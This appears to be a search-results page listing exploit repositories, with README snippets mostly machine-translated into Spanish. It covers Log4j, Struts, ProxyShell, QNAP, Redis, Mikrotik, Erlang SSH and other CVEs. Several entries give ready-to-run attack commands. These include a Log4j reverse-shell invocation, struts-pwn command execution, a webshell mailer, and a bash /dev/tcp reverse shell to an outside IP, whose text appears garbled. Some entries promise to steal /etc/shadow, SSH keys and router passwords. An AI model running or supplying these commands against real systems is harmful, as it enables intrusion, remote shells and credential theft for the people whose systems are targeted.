386 matches found
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Uso Para reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort Para comprobar si es explotable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...
CVE-2022-0543
CVE-2022-0543 1. Introducción POC y EXP de la vulnerabilidad de escape de la sandbox de Redis CVE-2022-0543 2. Uso RedisRCE -help 查看帮助信息 RedisRCE -h 192.168.0.100:6379 无密码连接 //输入q退出程序 RedisRCE -h 192.168.0.100:6379 -p 123456 密码连接 3. Descargo de responsabilidad Esta herramienta se utiliza...
CVE-2024-38063-Exploit-Refactoring
Exploit CVE-2024-38063 Herramienta de explotación avanzada con manejo de errores de precisión y ejecución conforme a DO-176C. Resumen Esta es una herramienta especializada de evaluación de seguridad para probar la mitigación de vulnerabilidades IPv6 de Windows en sistemas objetivo. Incluye...
CVE-2019-13272-Local-Privilege-Escalation
This repository does not have a README...
CVE-2019-7192_QNAP_Exploit
Exploit de RCE root pre-auth en QNAP CVE-2019-7192 CVE-2019-7195 por ahora, puedes leer archivos del sistema /etc/shadow, clave privada ssh, etc. Uso: pip install -r requirements.txt or just pip install requests python3 gundy.py https://vulnerableurl:port Salida de ejemplo Vulnerabilidad Las...
ropium
Acerca de ROPium anteriormente ROPGenerator es una biblioteca/herramienta que facilita la creación de exploits ROP. Extrae y analiza automáticamente gadgets de binarios y permite encontrar cadenas ROP con consultas semánticas. ROPium soporta las arquitecturas X86 y X64 , próximamente se ampliará...
StrutsShell
StrutsShell Apache Struts CVE-2017-5638 Shell Introducción La "LowNoiseHG LNHG Struts Shell " "StrutsShell " de ahora en adelante fue concebida en marzo de 2017 tras darse cuenta de la utilidad de no tener que explotar manualmente Apache Struts CVE-2017-5638 solicitudes HTTP GET a mano y tras dar...
cve-2019-0708
cve-2019-0708 PoC CVE-2019-0708 con script en Python! Video PoC: https://www.youtube.com/watch?v=XVmCtUMELdU...
CVE-2018-13379-Fortinet
CVE-2018-13379-Fortinet FortiVuln...
lenovo_exec
lenovoexec CVE-2022-3699 con capacidad de ejecución de código arbitrario en el kernel exploit original: https://github.com/alfarom256/CVE-2022-3699...
cve-2019-0708
cve-2019-0708 CVE-2019-0708 - Herramienta de explotación Herramienta que explota el Servicio de Escritorio Remoto con CVE-2019-0708 Video de demostración: https://www.youtube.com/watch?v=SCsJ9Uq3POk...
CVE-2021-34473-Exchange-ProxyShell
python sendwebshellmail.py https://mail16.echod.com [email protected] Single retrieval python sendwebshellmail.py https://mail16.echod.com crack Batch read emails from mail.txt and attempt to obtain SID tokens python sendwebshellmail.py https://mail16.echod.com [email protected] send on...
CVE-2022-22965-Spring-Core-Rce
Spring-Core JDK9+ RCE Instrucciones de uso ╰─ ./CVE-2022-22965 -h ─╯ 单个检测：./CVE-2022-22965 -u http://127.0.0.1:8080 批量检测：./CVE-2022-22965 -l url.txt Prueba local de la vulnerabilidad 0x01 Imagen de Docker docker pull vulfocus/spring-core-rce-2022-03-29 docker run -itd -p 8080:8080 -P...
struts-pwn
struts-pwn Un exploit para Apache Struts CVE-2017-5638 Uso Probando una sola URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Probando una lista de URLs. python struts-pwn.py --list 'urls.txt' -c 'id' Comprobando si la vulnerabilidad existe en una sola UR...
MikrotikExploit
Exploit de Mikrotik Escanea y exporta contraseñas de RouterOS Te permite escanear subredes IPv4 en bucle con diferentes puertos. Instalación instalar python3 Ubuntu/Debian: $ apt-get install python3 instalar el administrador de paquetes de Python para python3 Ubuntu/Debian: $ apt-get install...
CVE-2021-3345
CVE-2021-3345 Exploit funcional real para CVE-2021-3345...
CVE-2018-10933
Esta herramienta permite escanear y explotar servidores que ejecutan versiones vulnerables de libssh. vulnerabilidad: https://www.libssh.org/security/advisories/CVE-2018-10933.txt corrección: https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/ esta herramienta es...
org.cowpoop.moooooo
org.cowpoop.moooooo APK de Android basada en información pública que utiliza el exploit DirtyCOW CVE-2016-5195 ESTA ES ACTUALMENTE UNA APLICACIÓN QUE NO FUNCIONA LA ELIMINARÉ UNA VEZ QUE LAS PRUEBAS TENGAN ÉXITO...
CVE-2025-32433
CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...